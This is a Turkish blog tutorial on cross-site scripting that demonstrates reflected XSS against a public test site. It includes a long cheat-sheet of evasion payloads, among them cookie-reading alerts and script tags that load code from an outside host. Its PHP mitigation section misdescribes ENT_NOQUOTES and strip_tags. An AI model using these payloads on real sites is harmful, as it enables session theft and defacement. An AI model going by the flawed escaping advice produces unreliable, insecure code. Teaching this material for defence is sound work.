XSS – Cross Site Scripting

Cross site scripting (XSS) HTML kodlarının arasına istemci tabanlı kod gömülmesi yoluyla kullanıcının tarayıcısında istenen istemci tabanlı kodun çalıştırılabilmesi olarak tanımlanır.

XSS’in temel mantığı siteler arası betik kod çalıştırmadır ve kullanıcı tarafından input kabul edilen yerlerde görülmektedir. Web uygulamalarında bulunan kullanıcı tarafından kabul edilen inputlar kontrol edilmeden direk koda dahil ediliyor ve kullanıcıya gösteriliyorsa, uygulama üzerinde Javascript koduda çalıştırılabilir. Eğer alınan input tag’ler ile kontrol edilmeye çalışılıyorsa basit HTML bilgisi ile o tag’leri devredışı bırakıp istenilen Javascript kodu çalıştırılabilir.

XSS anlatımını herkesin erişimine açık bulunan ve anlatım esnasında sizinde rahatça deneyip görebilmeniz için http://public-firing-range.appspot.com/ adresi üzerinden yapacağım. Bu websitesi XSS zafiyetlerini çeşitlerine göre ayırmıştır. Her XSS çeşitinin altında ise farklı parametreler üzerinde zafiyetin nerelerden kaynaklandığını görmemize yardımcı olmaktadır.

  1. Reflected XSS:

Alınan inputların uygulama üzerinde kaydedilmediği yerlerde görülür. Sadece o url’e sahip kişiler tarafından görülebilir/kullanılabilir/erişilebilir.  Web uygulamalarının arama alanları reflected xss’in en çok görüldüğü yerlerdir.

Örneğin: Ceh.com.tr üzerinde bir arama yapmak istediğim zaman arama yerine istediğim kelimeleri yazıp ara butonuna bastıktan sonra site aşağıdaki gibi bir url oluşturacaktır.Bu aradığımız kelimeler sistem üzerinde kaydedilmediği için bizden sonra gelen kullanıcılar sizin armaış olduğunuz şeyleri göremeyecektir. Bu yüzden bu XSS çeşitinin adı reflected (yansıyan) xss’dir.

http://www.ceh.com.tr/?s=burada+xss+var+mi?

Masumca yapmış olduğumuz yukarıdaki aramamız bize şu göstermektedir. Bizim search alanına yazmış olduğumuz kelimeler s parametresi üzerinde uygulama üzerinde çalışıyor. Yani siz aslında s parametresine birşeyler atıyorsunuz. Demo ortamımızda Javascript kodlarımızı uygulamanın parametre kabul ettiği yere yazalım ve enter’a basalım.

http://public-firing-range.appspot.com/reflected/parameter/body?q=ceh.com.tr

Screen Shot 2016-01-10 at 22.04.30

 

 

 

Görmüş olduğunuz gibi uygulama url üzerinde q parametresine input almaktadır. Kaynak koduna baktığımızda ise hiçbir önlem alınmadan alınan inputun direk koda eklendiğini görmekteyiz.

Screen Shot 2016-01-10 at 22.04.45

 

 

 

 

Şimdi q parametresine ceh.com.tr yerine birkaç javascript kodu verelim.

Screen Shot 2016-01-10 at 22.08.53

Görmüş olduğunuz gibi javascript kodumuz direk site üzerinde çalıştı. Çalıştırmış olduğumuz sadece içerisinde CEH.com.tr yazılı basit bir uyarı penceresi. <script>alert(“CEH.com.tr”)</script> Verilen input sonrası uygulamanın kaynak kodu aşağıdaki gibi görünmektedir.

Screen Shot 2016-01-10 at 22.09.08

Aklınıza gelen başka Javascript kodlarınıda parametre olarak verebilirsiniz. Aşağıda da bazı javascript kodlarını paylaşıyor olacağım.

Reflected XSS bazen yukarıdaki kadar kolay ulaşılamayabilir. Yukarıda da bahsetmiş olduğum gibi parametre ile alınan değer tag’ler içersinde yazılıyor olabilir. Buda Javascript kodlarının normal text olarak algılanması demektir yani Javascript kodları uygulama üzerinde çalışmayacaktır.

Screen Shot 2016-01-10 at 22.18.23

Kaynak kodu

Screen Shot 2016-01-10 at 22.19.21

Yukarıda görüldüğü gibi q parametresi ile alınan input <title> </title> tag’leri arasına yazılmaktadır. Burada bir trick yaparak parametreye bu tag’in kapanış tag’ini vereceğiz devamında da javascript kodumuzu yazacağız. Uygulamanın kaynak kodu aşağıdaki gibi olacaktır.

http://public-firing-range.appspot.com/reflected/parameter/title?q=</title> <script>alert(“CEH.com.tr”)</script>

Screen Shot 2016-01-10 at 22.28.05

Kaynak kod

Screen Shot 2016-01-10 at 22.28.17

Eğer <title> tag’ini kapatmadan input olarak Javascript kodumuzu vermiş olsaydık uygulama üzerinde kodumuz çalışmayacak ve kaynak kodumuz aşağıdaki gibi olacaktı.

Screen Shot 2016-01-10 at 22.30.54

     2. Stored XSS:
Stored XSS zafiyeti Reflected XSS’e göre daha tehlikeli saldırı yöntemlerinden biridir.Kullanıcılardan alınan inputların uygulama database’ine kaydedildiği alanlarda bulunmaktadır. Örneğin, ziyaretçi defteri tarzındaki bir uygulamada yazılanlar database’e kaydedilmektedir ve gelen her kullanıcı bu yazıları görebilmektedir. Bu alana tag’leri bypass ederek yazılan zararlı javascript kodlarıyla o sayfayı ziyaret eden tüm kullanıcılara bulaştırmış olunacaktır.

    3. DOM-Based XSS Saldırısı:
DOM-Based XSS saldırısı tespit edilmesi en zor aynı zamanda bıraktığı etki açısından en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin index’i değiştirilebilir, sayfanın kodları değiştirilebilir, zararlı yazılımlar sayfaya yüklenebilir.

Dom-Based XSS için geniş anlatım daha sonra yapılacaktır.

XSS için çokça kullanılan Javascript kodları

script>alert(‘XSS’)</script>
‘><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
javascript;alert(‘XSS’)
<title>XSS</title>
“><script>alert(‘xss’);</script>+
“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X
“>’<’script’>alert(’xss’)</’script>
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<s&#99;ript>alert(‘XSS’)</script>
<img src=”/javas&#99;ript:alert(‘XSS’)”>
%0a%0a<script>alert(\”XSS\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert(‘XSS’);&lt;/script&gt
<script>alert(‘XSS’)</script>
a.jsp/<script>alert(‘XSS’)</script>
a?<script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
”;!–“<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
<IMG SRC=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER SRC=”http://xss.ha.ckers.org/a.js”></layer>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”mocha:[code]”>
<IMG SRC=”livescript:[code]”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘/xss’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<BASE HREF=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”
<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)

 

XSS Saldırı Mantığı:

  • Web uygulaması üzerinde bulunan XSS zafiyeti kullanılarak, siteyi ziyaret eden veya oluşturduğumuz sniffer’ı göndermiş olduğumuz hedef kullanıcıların oturum bilgileri çalınabilir. (Cookie Hijacking Saldırısı)
  • Javascript kodları sayesinde ziyaretçi kandırılarak bilgisayarına zararlı yazılım indirtilebilir. Böylece ziyaretçilerin kimlik bilgileri, şifreleri çalınabilir. Ziyaretçinin bilgisayarı botnete ağına bağlanarak zombie bilgisayar haline getirilebilir.
  • Sitenin anasayfası değiştirilebilir. Site defaced edilebilir. (DOM Based XSS yöntemi ile)
  • Sunucuya zararlı dosyalar (Shell, Backdoor gibi) yüklenebilir, kredi kartı, kişisel bilgiler v.s gibi bilgiler elde edilebilir (DOM Based XSS ile)

Peki hangi önlemler Alabiliriz?

İlk başta alınacak önlem kullanıcıdan alınan inputlarda ve URL satırında ` % ‘ ; / ? : @ = & <> \ ^~ [ ] { } “ # | karakterlerini filtreleyin. Bunun haricinde aşağıdaki yöntemleride güvenli kod yazımı olarak değerlendirip XSS zafiyetine yakalanmaktan kurtulmanızı sağlayacaktır.

Kullanacağınız Fonksiyonlar,
# htmlspecialchars();

* ’&’ (ve imi) ’&amp;’ haline gelir.
* ’”’ (çift tırnak) ENT_NOQUOTES belirtilmişse ’&quot;’ haline gelir.
* ’’’ (tek tırnak) ENT_QUOTES belirtilmişse ’’’ haline gelir.
* ’<’ (küçüktür) ’&lt;’ haline gelir
* ’>’ (büyüktür) ’&gt;’ haline gelir

# strip_tags();
” karakterinin başına \\\\ getirerek XSS’i önler, fonksiyon kullanımı

$aranan = htmlspecialchars($_GET[’go’]);
$aranan = strip_tags($aranan);
echo “aranan kelime > “.$aranan.””;

Kaynaklar:

https://www.owasp.org/index.php/XSS

https://www.owasp.org/index.php/DOM_Based_XSS

http://public-firing-range.appspot.com

http://excess-xss.com/

https://xss-game.appspot.com/

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

This site uses Akismet to reduce spam. Learn how your comment data is processed.